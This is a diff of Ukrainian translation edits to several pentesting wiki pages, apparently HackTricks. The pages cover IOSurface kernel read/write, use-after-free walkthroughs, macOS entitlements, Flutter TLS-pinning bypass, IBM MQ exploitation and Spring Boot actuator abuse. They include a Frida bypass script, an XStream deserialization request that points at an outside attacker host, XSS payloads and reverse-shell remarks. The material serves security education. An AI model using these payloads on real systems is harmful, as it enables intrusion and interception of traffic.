### Досягнення читання/запису в ядрі з IOSurface
|
||||
### Досягнення читання/запису ядра з IOSurface
|
||||
|
||||
Після отримання контролю над об'єктом IOSurface в пам'яті ядра (відображеним на звільнену фізичну сторінку, доступну з простору користувача), ми можемо використовувати його для **произвольних операцій читання та запису в ядрі**.
|
||||
|
||||
@ -195,10 +195,10 @@ set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Резюме потоку експлуатації
|
||||
#### Підсумок потоку експлуатації
|
||||
|
||||
1. **Виклик фізичного використання після звільнення**: Вільні сторінки доступні для повторного використання.
|
||||
2. **Розпилення об'єктів IOSurface**: Виділити багато об'єктів IOSurface з унікальним "магічним значенням" у пам'яті ядра.
|
||||
2. **Розподіл об'єктів IOSurface**: Виділити багато об'єктів IOSurface з унікальним "магічним значенням" у пам'яті ядра.
|
||||
3. **Визначити доступний IOSurface**: Знайти IOSurface на звільненій сторінці, якою ви керуєте.
|
||||
4. **Зловживання використанням після звільнення**: Змінити вказівники в об'єкті IOSurface, щоб дозволити довільне **читання/запис ядра** через методи IOSurface.
|
||||
|
||||
|
@ -8,13 +8,13 @@
|
||||
|
||||
### Несортовані Контейнери
|
||||
|
||||
Коли ви звільняєте шматок пам'яті, який не є швидким шматком, він потрапляє до несортованого контейнера. Цей контейнер діє як список, де нові звільнені шматки додаються на початок (на "голову"). Коли ви запитуєте новий шматок пам'яті, аллокатор дивиться на несортований контейнер ззаду (на "хвіст"), щоб знайти шматок, який достатньо великий. Якщо шматок з несортованого контейнера більший, ніж вам потрібно, він розділяється, причому передня частина повертається, а залишкова частина залишається в контейнері.
|
||||
Коли ви звільняєте шматок пам'яті, який не є швидким шматком, він потрапляє до несортованого контейнера. Цей контейнер діє як список, де нові звільнені шматки додаються на початок (до "голови"). Коли ви запитуєте новий шматок пам'яті, аллокатор дивиться на несортований контейнер ззаду (до "хвоста"), щоб знайти шматок, який достатньо великий. Якщо шматок з несортованого контейнера більший, ніж вам потрібно, він розділяється, причому передня частина повертається, а залишкова частина залишається в контейнері.
|
||||
|
||||
Приклад:
|
||||
|
||||
- Ви виділяєте 300 байт (`a`), потім 250 байт (`b`), звільняєте `a` і знову запитуєте 250 байт (`c`).
|
||||
- Коли ви звільняєте `a`, він потрапляє до несортованого контейнера.
|
||||
- Якщо ви потім знову запитуєте 250 байт, аллокатор знаходить `a` на хвості і розділяє його, повертаючи частину, яка відповідає вашому запиту, і залишаючи решту в контейнері.
|
||||
- Якщо ви знову запитуєте 250 байт, аллокатор знаходить `a` на хвості і розділяє його, повертаючи частину, яка відповідає вашому запиту, а решту залишаючи в контейнері.
|
||||
- `c` буде вказувати на попереднє `a` і заповнене `a's`.
|
||||
```c
|
||||
char *a = malloc(300);
|
||||
@ -24,13 +24,13 @@ char *c = malloc(250);
|
||||
```
|
||||
### Fastbins
|
||||
|
||||
Fastbins використовуються для малих шматків пам'яті. На відміну від несортованих бінів, fastbins додають нові шматки на початок, створюючи поведінку останній прийшов - перший вийшов (LIFO). Якщо ви запитуєте малий шматок пам'яті, аллокатор витягне з голови fastbin.
|
||||
Fastbins використовуються для малих обсягів пам'яті. На відміну від несортованих бінів, fastbins додають нові шматки на початок, створюючи поведінку останній прийшов - перший вийшов (LIFO). Якщо ви запитуєте малий шматок пам'яті, аллокатор витягне з голови fastbin.
|
||||
|
||||
Приклад:
|
||||
|
||||
- Ви виділяєте чотири шматки по 20 байт кожен (`a`, `b`, `c`, `d`).
|
||||
- Коли ви звільняєте їх в будь-якому порядку, звільнені шматки додаються до голови fastbin.
|
||||
- Якщо ви потім запитуєте шматок на 20 байт, аллокатор поверне найостанніший звільнений шматок з голови fastbin.
|
||||
- Коли ви звільняєте їх у будь-якому порядку, звільнені шматки додаються до голови fastbin.
|
||||
- Якщо ви потім запитуєте шматок на 20 байт, аллокатор поверне нещодавно звільнений шматок з голови fastbin.
|
||||
```c
|
||||
char *a = malloc(20);
|
||||
char *b = malloc(20);
|
||||
@ -51,10 +51,12 @@ d = malloc(20); // a
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
- ARM64. Використання після звільнення: створити об'єкт користувача, звільнити його, створити об'єкт, який отримує звільнений шматок і дозволяє записувати в нього, **перезаписуючи позицію user->password** з попереднього. Повторно використати користувача, щоб **обійти перевірку пароля**
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- Програма дозволяє створювати нотатки. Нотатка міститиме інформацію про нотатку в malloc(8) (з вказівником на функцію, яку можна викликати) і вказівник на інший malloc(\<size>) з вмістом нотатки.
|
||||
- Атака полягатиме в створенні 2 нотаток (note0 і note1) з більшим вмістом malloc, ніж розмір інформації про нотатку, а потім звільнити їх, щоб вони потрапили в швидкий бін (або tcache).
|
||||
- Програма дозволяє створювати нотатки. Нотатка міститиме інформацію про нотатку в malloc(8) (з вказівником на функцію, яку можна викликати) та вказівник на інший malloc(\<size>) з вмістом нотатки.
|
||||
- Атака полягатиме в створенні 2 нотаток (note0 та note1) з більшим вмістом malloc, ніж розмір інформації про нотатку, а потім їх звільнити, щоб вони потрапили в швидкий бін (або tcache).
|
||||
- Потім створити ще одну нотатку (note2) з розміром вмісту 8. Вміст буде в note1, оскільки шматок буде повторно використано, де ми можемо змінити вказівник функції, щоб вказувати на функцію win, а потім використати Use-After-Free для note1, щоб викликати новий вказівник функції.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- Можливо виділити пам'ять, записати бажане значення, звільнити його, повторно виділити, і оскільки попередні дані все ще там, їх оброблять відповідно до нової очікуваної структури в шматку, що робить можливим встановлення значення або отримання прапора.
|
||||
- Можливо виділити деяку пам'ять, записати бажане значення, звільнити його, повторно виділити, і оскільки попередні дані все ще там, їх оброблять відповідно до нової очікуваної структури в шматку, що робить можливим встановлення значення для отримання прапора.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- У цьому випадку потрібно записати 4 всередині конкретного шматка, який є першим, що виділяється (навіть після примусового звільнення всіх з них). У кожному новому виділеному шматку його номер у масиві зберігається. Потім виділити 4 шматки (+ початково виділений), останній буде містити 4 всередині, звільнити їх і примусово повторно виділити перший, який використовуватиме останній звільнений шматок, що містить 4 всередині.
|
||||
- У цьому випадку потрібно записати 4 всередині конкретного шматка, який є першим, що виділяється (навіть після примусового звільнення всіх з них). У кожному новому виділеному шматку його номер в індексі масиву зберігається. Потім виділити 4 шматки (+ початково виділений), останній буде містити 4 всередині, звільнити їх і примусово повторно виділити перший, який використовуватиме останній звільнений шматок, що містить 4 всередині нього.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -15,7 +15,7 @@
|
||||
|
||||
Право доступу **`com.apple.rootless.install`** дозволяє **обійти SIP**. Перевірте [це для отримання додаткової інформації](macos-sip.md#com.apple.rootless.install).
|
||||
|
||||
### **`com.apple.system-task-ports` (раніше називалося `task_for_pid-allow`)**
|
||||
### **`com.apple.system-task-ports` (раніше називався `task_for_pid-allow`)**
|
||||
|
||||
Це право доступу дозволяє отримати **порт завдання для будь-якого** процесу, за винятком ядра. Перевірте [**це для отримання додаткової інформації**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
|
||||
|
||||
@ -25,11 +25,11 @@
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
Додатки з правом доступу до інструментів налагодження можуть викликати `task_for_pid()`, щоб отримати дійсний порт завдання для незахищених і сторонніх додатків з правом доступу `Get Task Allow`, встановленим на `true`. Однак навіть з правом доступу до інструментів налагодження, налагоджувач **не може отримати порти завдання** процесів, які **не мають права доступу `Get Task Allow`**, і які, отже, захищені захистом цілісності системи. Перевірте [**це для отримання додаткової інформації**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
Додатки з правом доступу до інструментів налагодження можуть викликати `task_for_pid()`, щоб отримати дійсний порт завдання для незахищених і сторонніх додатків з правом доступу `Get Task Allow`, встановленим на `true`. Однак, навіть з правом доступу до інструментів налагодження, налагоджувач **не може отримати порти завдання** процесів, які **не мають права доступу `Get Task Allow`**, і які, отже, захищені захистом цілісності системи. Перевірте [**це для отримання додаткової інформації**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Це право доступу дозволяє **завантажувати фреймворки, плагіни або бібліотеки без підпису Apple або підпису з тим же ідентифікатором команди**, тому зловмисник може зловживати завантаженням довільної бібліотеки для впровадження коду. Перевірте [**це для отримання додаткової інформації**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
Це право доступу дозволяє **завантажувати фрейми, плагіни або бібліотеки без підпису Apple або підпису з тим же ідентифікатором команди**, як основний виконуваний файл, тому зловмисник може зловживати завантаженням довільної бібліотеки для впровадження коду. Перевірте [**це для отримання додаткової інформації**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
@ -58,7 +58,7 @@
|
||||
|
||||
**iMovie** та **Garageband** мали це право доступу.
|
||||
|
||||
Для отримання більшої **інформації** про експлойт для **отримання токенів iCloud** з цього права доступу перевірте доповідь: [**#OBTS v5.0: "Що відбувається на вашому Mac, залишається в iCloud Apple?!" - Войцех Регула**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Для отримання більшої **інформації** про експлойт для **отримання токенів icloud** з цього права доступу перевірте доповідь: [**#OBTS v5.0: "Що відбувається на вашому Mac, залишається в iCloud Apple?!" - Войцех Регула**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
@ -74,7 +74,7 @@ TODO: У [**цьому звіті**](https://jhftss.github.io/The-Nightmare-of-A
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
Це право доступу перераховує **групи ключів**, до яких має доступ додаток:
|
||||
Це право доступу містить **групи ключів**, до яких має доступ додаток:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
@ -109,7 +109,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
Дозволяє модифікувати файли всередині пакету додатків (всередині app.app), що **заборонено за замовчуванням**.
|
||||
Дозволяє модифікувати файли всередині пакету додатків (всередині app.app), що **за замовчуванням заборонено**.
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -163,3 +163,8 @@ TODO
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -3,20 +3,20 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Flutter
|
||||
Flutter — це **кросплатформений UI набір інструментів від Google**, який дозволяє розробникам писати єдину кодову базу на Dart, яку **Engine** (рідний C/C++) перетворює на машинний код, специфічний для платформ Android та iOS.
|
||||
Flutter — це **крос-платформений UI набір інструментів від Google**, який дозволяє розробникам писати єдину кодову базу на Dart, яку **Engine** (рідний C/C++) перетворює на машинний код, специфічний для платформ Android та iOS.
|
||||
Engine об'єднує **Dart VM**, **BoringSSL**, Skia тощо, і постачається як спільна бібліотека **libflutter.so** (Android) або **Flutter.framework** (iOS). Вся фактична мережна діяльність (DNS, сокети, TLS) відбувається **всередині цієї бібліотеки**, *а не* в звичних шарах Java/Kotlin Swift/Obj-C. Це ізольоване проектування є причиною, чому звичайні Java-рівневі Frida хуки не працюють на Flutter додатках.
|
||||
|
||||
## Перехоплення HTTPS трафіку в Flutter
|
||||
|
||||
Це резюме цього [блог посту](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/).
|
||||
Це резюме цього [блог-посту](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/).
|
||||
|
||||
### Чому перехоплення HTTPS є складним у Flutter
|
||||
* **Перевірка SSL/TLS знаходиться на два шари нижче** в BoringSSL, тому обхід Java SSL-пінінгу її не торкається.
|
||||
* **BoringSSL використовує свій *власний* CA магазин** всередині libflutter.so; імпорт вашого Burp/ZAP CA в системний магазин Android нічого не змінює.
|
||||
* Символи в libflutter.so **виключені та спотворені**, приховуючи функцію перевірки сертифікатів від динамічних інструментів.
|
||||
* Символи в libflutter.so **виключені та спотворені**, приховуючи функцію перевірки сертифіката від динамічних інструментів.
|
||||
|
||||
### Визначте точний стек Flutter
|
||||
Знання версії дозволяє вам відновити або зіставити правильні бінарники.
|
||||
Знання версії дозволяє вам відтворити або зіставити правильні бінарні файли.
|
||||
|
||||
Крок | Команда / Файл | Результат
|
||||
----|----|----
|
||||
@ -28,7 +28,7 @@ Engine об'єднує **Dart VM**, **BoringSSL**, Skia тощо, і поста
|
||||
|
||||
### Ціль: `ssl_crypto_x509_session_verify_cert_chain()`
|
||||
* Розташована в **`ssl_x509.cc`** всередині BoringSSL.
|
||||
* **Повертає `bool`** – одне `true` достатньо, щоб обійти всю перевірку ланцюга сертифікатів.
|
||||
* **Повертає `bool`** – одного `true` достатньо, щоб обійти всю перевірку ланцюга сертифікатів.
|
||||
* Така ж функція існує на кожній архітектурі ЦП; лише опкоди відрізняються.
|
||||
|
||||
### Варіант A – Бінарне патчування з **reFlutter**
|
||||
@ -39,7 +39,7 @@ Engine об'єднує **Dart VM**, **BoringSSL**, Skia тощо, і поста
|
||||
3. **Перекомпілювати** libflutter.so, повернути його назад в APK/IPA, підписати, встановити.
|
||||
4. **Попередньо патчовані збірки** для загальних версій постачаються в релізах reFlutter на GitHub, щоб заощадити години часу на збірку.
|
||||
|
||||
### Варіант B – Живе підключення з **Frida** (шлях "хард-кор")
|
||||
### Варіант B – Живе хукування з **Frida** (шлях "хард-кор")
|
||||
Оскільки символ виключений, ви скануєте завантажений модуль на предмет його перших байтів, а потім змінюєте значення повернення на льоту.
|
||||
```javascript
|
||||
// attach & locate libflutter.so
|
||||
@ -63,7 +63,7 @@ onComplete: function () { console.log("scan done"); }
|
||||
frida -U -f com.example.app -l bypass.js
|
||||
```
|
||||
*Поради щодо портирования*
|
||||
* Для **arm64-v8a** або **armv7**, візьміть перші ~32 байти функції з Ghidra, перетворіть у рядок шістнадцяткових значень, розділених пробілами, і замініть `sig`.
|
||||
* Для **arm64-v8a** або **armv7**, візьміть перші ~32 байти функції з Ghidra, перетворіть на рядок шістнадцяткових чисел, розділених пробілами, і замініть `sig`.
|
||||
* Зберігайте **один шаблон на кожен реліз Flutter**, зберігайте їх у шпаргалці для швидкого повторного використання.
|
||||
|
||||
### Примус трафіку через ваш проксі
|
||||
@ -73,3 +73,6 @@ Flutter сам по собі **ігнорує налаштування прок
|
||||
|
||||
## Посилання
|
||||
- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Основна інформація
|
||||
|
||||
IBM MQ - це технологія IBM для управління чергами повідомлень. Як і інші **технології брокерів повідомлень**, вона призначена для отримання, зберігання, обробки та класифікації інформації між виробниками та споживачами.
|
||||
IBM MQ - це технологія IBM для управління чергами повідомлень. Як і інші технології **message broker**, вона призначена для отримання, зберігання, обробки та класифікації інформації між виробниками та споживачами.
|
||||
|
||||
За замовчуванням, **вона відкриває TCP порт IBM MQ 1414**. Іноді HTTP REST API може бути відкрито на порту **9443**. Метрики (Prometheus) також можуть бути доступні з TCP порту **9157**.
|
||||
|
||||
@ -31,10 +31,10 @@ IBM надає велику технічну документацію, дост
|
||||
>
|
||||
> ```bash
|
||||
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||||
> then
|
||||
> echo "ERROR: This package is incompatible with this system"
|
||||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||||
> exit 1
|
||||
> then
|
||||
> echo "ERROR: This package is incompatible with this system"
|
||||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||||
> exit 1
|
||||
> fi
|
||||
> ```
|
||||
|
||||
@ -167,11 +167,11 @@ Showing queues with prefix: "*"...
|
||||
| 9 | | | | | | | |
|
||||
# Truncated
|
||||
```
|
||||
## Експлуатація
|
||||
## Exploit
|
||||
|
||||
### Витяг повідомлень
|
||||
### Dump messages
|
||||
|
||||
Ви можете націлитися на черги/канали, щоб прослухати/витягти повідомлення з них (недеструктивна операція). _Приклади:_
|
||||
Ви можете націлити чергу(и)/канал(и), щоб перехопити / скинути повідомлення з них (недеструктивна операція). _Приклади:_
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||||
```
|
||||
@ -191,11 +191,11 @@ Showing queues with prefix: "*"...
|
||||
> - [З документації PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), та
|
||||
> - [з констант](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
|
||||
>
|
||||
> Одна цікава команда - це `MQCMD_CREATE_SERVICE`, а її документація доступна [тут](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Вона приймає як аргумент `StartCommand`, що вказує на локальну програму на екземплярі (приклад: `/bin/sh`).
|
||||
> Однією цікавою командою є `MQCMD_CREATE_SERVICE`, а її документація доступна [тут](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Вона приймає як аргумент `StartCommand`, що вказує на локальну програму на екземплярі (приклад: `/bin/sh`).
|
||||
>
|
||||
> Також у документації є попередження про команду: _"Увага: ця команда дозволяє користувачу виконувати довільну команду з правами mqm. Якщо надано права на використання цієї команди, зловмисний або недбалий користувач може визначити сервіс, який пошкодить ваші системи або дані, наприклад, видаливши важливі файли."_
|
||||
> У документації також є попередження про команду: _"Увага: ця команда дозволяє користувачу виконувати довільну команду з правами mqm. Якщо надано права на використання цієї команди, зловмисний або недбалий користувач може визначити сервіс, який завдасть шкоди вашим системам або даним, наприклад, видаливши важливі файли."_
|
||||
>
|
||||
> _Примітка: завжди відповідно до документації IBM MQ (Довідник з адміністрування) також є HTTP-інтерфейс на `/admin/action/qmgr/{qmgrName}/mqsc` для виконання еквівалентної команди MQSC для створення сервісу (`DEFINE SERVICE`). Цей аспект ще не охоплений тут._
|
||||
> _Примітка: завжди відповідно до документації IBM MQ (Довідник з адміністрування), також є HTTP-інтерфейс за адресою `/admin/action/qmgr/{qmgrName}/mqsc` для виконання еквівалентної команди MQSC для створення сервісу (`DEFINE SERVICE`). Цей аспект ще не охоплений тут._
|
||||
|
||||
Створення / видалення сервісу з PCF для віддаленого виконання програми може бути виконано за допомогою **punch-q**:
|
||||
|
||||
@ -206,7 +206,7 @@ Showing queues with prefix: "*"...
|
||||
> У журналах IBM MQ ви можете прочитати, що команда успішно виконана:
|
||||
>
|
||||
> ```bash
|
||||
> 2023-10-10T19:13:01.713Z AMQ5030I: Команда '808544aa7fc94c48' розпочата. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||||
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||||
> ```
|
||||
|
||||
Ви також можете перерахувати існуючі програми на машині (тут `/bin/doesnotexist` ... не існує):
|
||||
@ -228,7 +228,7 @@ Done
|
||||
|
||||
**Приклад 2**
|
||||
|
||||
Для простого зворотного шеллу, **punch-q** також пропонує два корисних навантаження для зворотного шеллу:
|
||||
Для простого зворотного шеллу **punch-q** також пропонує два корисних навантаження для зворотного шеллу:
|
||||
|
||||
- Одне з bash
|
||||
- Одне з perl
|
||||
@ -275,7 +275,7 @@ else:
|
||||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
Якщо ви не можете знайти імена констант, ви можете звернутися до [IBM MQ документації](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||||
Якщо ви не можете знайти імена констант, ви можете звернутися до [документації IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||||
|
||||
> _Приклад для [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Десяткове = 73). Він потребує параметра `MQCA_CLUSTER_NAME` (Десяткове = 2029), який може бути `_` (Док: ):\*
|
||||
>
|
||||
@ -294,12 +294,12 @@ qmgr.disconnect()
|
||||
> pcf = pymqi.PCFExecute(qmgr)
|
||||
>
|
||||
> try:
|
||||
> args = {2029: "*"}
|
||||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||||
> args = {2029: "*"}
|
||||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||||
> except pymqi.MQMIError as e:
|
||||
> print("Error")
|
||||
> print("Error")
|
||||
> else:
|
||||
> print(response)
|
||||
> print(response)
|
||||
>
|
||||
> qmgr.disconnect()
|
||||
> ```
|
||||
@ -316,7 +316,7 @@ sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:
|
||||
```
|
||||
За замовчуванням автентифікація увімкнена, ім'я користувача `admin`, а пароль `passw0rd` (змінна середовища `MQ_ADMIN_PASSWORD`). Тут ім'я менеджера черг встановлено на `MYQUEUEMGR` (змінна `MQ_QMGR_NAME`).
|
||||
|
||||
Вам потрібно, щоб IBM MQ працював і його порти були відкриті:
|
||||
Вам слід мати IBM MQ, що працює з відкритими портами:
|
||||
```bash
|
||||
❯ sudo docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
@ -329,3 +329,5 @@ CONTAINER ID IMAGE COMMAND CRE
|
||||
- [mgeeky's gist - "Практичні нотатки з пенетрування IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
- [Документація IBM MQ](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -17,7 +17,7 @@
|
||||
- Spring Boot Actuators реєструють кінцеві точки, такі як `/health`, `/trace`, `/beans`, `/env` тощо. У версіях з 1 до 1.4 ці кінцеві точки доступні без аутентифікації. З версії 1.5 і далі лише `/health` та `/info` за замовчуванням не є чутливими, але розробники часто відключають цю безпеку.
|
||||
- Деякі кінцеві точки Actuator можуть розкривати чутливі дані або дозволяти шкідливі дії:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` та `/heapdump`.
|
||||
- У Spring Boot 1.x актюатори реєструються під кореневою URL, тоді як у 2.x вони знаходяться під базовим шляхом `/actuator/`.
|
||||
- У Spring Boot 1.x, актюатори реєструються під кореневою URL, тоді як у 2.x вони знаходяться під базовим шляхом `/actuator/`.
|
||||
|
||||
### **Техніки експлуатації:**
|
||||
|
||||
@ -28,7 +28,7 @@
|
||||
2. **Модифікація конфігурації через '/env'**:
|
||||
|
||||
- Якщо присутні бібліотеки Spring Cloud, кінцева точка `/env` дозволяє модифікацію властивостей середовища.
|
||||
- Властивості можуть бути маніпульовані для експлуатації вразливостей, таких як вразливість десеріалізації XStream у службі Eureka serviceURL.
|
||||
- Властивості можна маніпулювати для експлуатації вразливостей, таких як вразливість десеріалізації XStream у службі Eureka serviceURL.
|
||||
- Приклад POST запиту для експлуатації:
|
||||
|
||||
```
|
||||
@ -41,11 +41,11 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
3. **Інші корисні налаштування**:
|
||||
- Властивості, такі як `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` та `spring.datasource.tomcat.max-active`, можуть бути маніпульовані для різних експлуатацій, таких як SQL-ін'єкція або зміна рядків підключення до бази даних.
|
||||
- Властивості, такі як `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` та `spring.datasource.tomcat.max-active`, можна маніпулювати для різних експлуатацій, таких як SQL-ін'єкція або зміна рядків підключення до бази даних.
|
||||
|
||||
### **Додаткова інформація:**
|
||||
|
||||
- Повний список стандартних актюаторів можна знайти [тут](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- Вичерпний список стандартних актюаторів можна знайти [тут](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- Кінцева точка `/env` у Spring Boot 2.x використовує формат JSON для модифікації властивостей, але загальна концепція залишається такою ж.
|
||||
|
||||
### **Супутні теми:**
|
||||
@ -53,7 +53,7 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
1. **Env + H2 RCE**:
|
||||
- Деталі про експлуатацію комбінації кінцевої точки `/env` та бази даних H2 можна знайти [тут](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
|
||||
2. **SSRF на Spring Boot через неправильну інтерпретацію імені шляху**:
|
||||
2. **SSRF на Spring Boot через неправильне тлумачення імені шляху**:
|
||||
- Обробка матричних параметрів (`;`) у HTTP іменах шляхів фреймворком Spring може бути використана для Server-Side Request Forgery (SSRF).
|
||||
- Приклад запиту для експлуатації:
|
||||
```http
|
||||
@ -62,3 +62,8 @@ Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -20,7 +20,7 @@ htmlContent: '<img src=x onerror=alert(1)>'
|
||||
</script>
|
||||
```
|
||||
### v-bind з src або href
|
||||
Прив'язка рядка користувача до атрибутів, що містять URL (`href`, `src`, `xlink:href`, `formaction` …), дозволяє виконувати такі корисні навантаження, як `javascript:alert(1)`, коли посилання відкривається.
|
||||
Прив'язка рядка користувача до атрибутів, що містять URL (`href`, `src`, `xlink:href`, `formaction` …), дозволяє виконувати такі payloads, як `javascript:alert(1)`, коли посилання відкривається.
|
||||
```html
|
||||
<div id="app">
|
||||
<a v-bind:href="userInput">Click me</a>
|
||||
@ -48,7 +48,7 @@ data: { malicious: 'alert(1)' }
|
||||
</script>
|
||||
```
|
||||
### Динамічні імена атрибутів / подій
|
||||
Імена, надані користувачем, у `v-bind:[attr]` або `v-on:[event]` дозволяють зловмисникам створювати будь-який атрибут або обробник подій, обходячи статичний аналіз і багато правил CSP.
|
||||
Імена, надані користувачем, в `v-bind:[attr]` або `v-on:[event]` дозволяють зловмисникам створювати будь-який атрибут або обробник подій, обходячи статичний аналіз і багато правил CSP.
|
||||
```html
|
||||
<img v-bind:[userAttr]="payload">
|
||||
<!-- userAttr = 'onerror', payload = 'alert(1)' -->
|
||||
@ -60,12 +60,12 @@ data: { malicious: 'alert(1)' }
|
||||
<!-- userChoice = '<script>alert(1)</script>' -->
|
||||
```
|
||||
### Ненадійні шаблони в SSR
|
||||
Під час рендерингу на стороні сервера шаблон виконується **на вашому сервері**; ін'єкція HTML користувача може підвищити XSS до повного віддаленого виконання коду (RCE). CVE в `vue-template-compiler` підтверджують ризик.
|
||||
Під час рендерингу на стороні сервера шаблон виконується **на вашому сервері**; ін'єкція HTML користувача може підвищити XSS до повного віддаленого виконання коду (RCE). CVE у `vue-template-compiler` підтверджують ризик.
|
||||
```js
|
||||
// DANGER – never do this
|
||||
const app = createSSRApp({ template: userProvidedHtml })
|
||||
```
|
||||
### Фільтри / функції рендерингу, які eval
|
||||
### Фільтри / функції рендерингу, які використовують eval
|
||||
Спадкові фільтри, які створюють рядки рендерингу або викликають `eval`/`new Function` на даних користувача, є ще одним вектором XSS — замініть їх на обчислювальні властивості.
|
||||
```js
|
||||
Vue.filter('run', code => eval(code)) // DANGER
|
||||
@ -86,7 +86,7 @@ merge({}, JSON.parse('{ "__proto__": { "polluted": true } }'))
|
||||
this.$router.push(this.$route.query.next) // DANGER
|
||||
```
|
||||
### CSRF в Axios / fetch
|
||||
SPA все ще потребують токенів CSRF на стороні сервера; лише куки з атрибутом SameSite не можуть заблокувати автоматично надіслані крос-доменні POST-запити.
|
||||
SPAs все ще потребують токенів CSRF на стороні сервера; лише куки з атрибутом SameSite не можуть заблокувати автоматично надіслані крос-доменні POST-запити.
|
||||
```js
|
||||
axios.post('/api/transfer', data, {
|
||||
headers: { 'X-CSRF-TOKEN': token }
|
||||
@ -98,8 +98,8 @@ headers: { 'X-CSRF-TOKEN': token }
|
||||
X-Frame-Options: DENY
|
||||
Content-Security-Policy: frame-ancestors 'none';
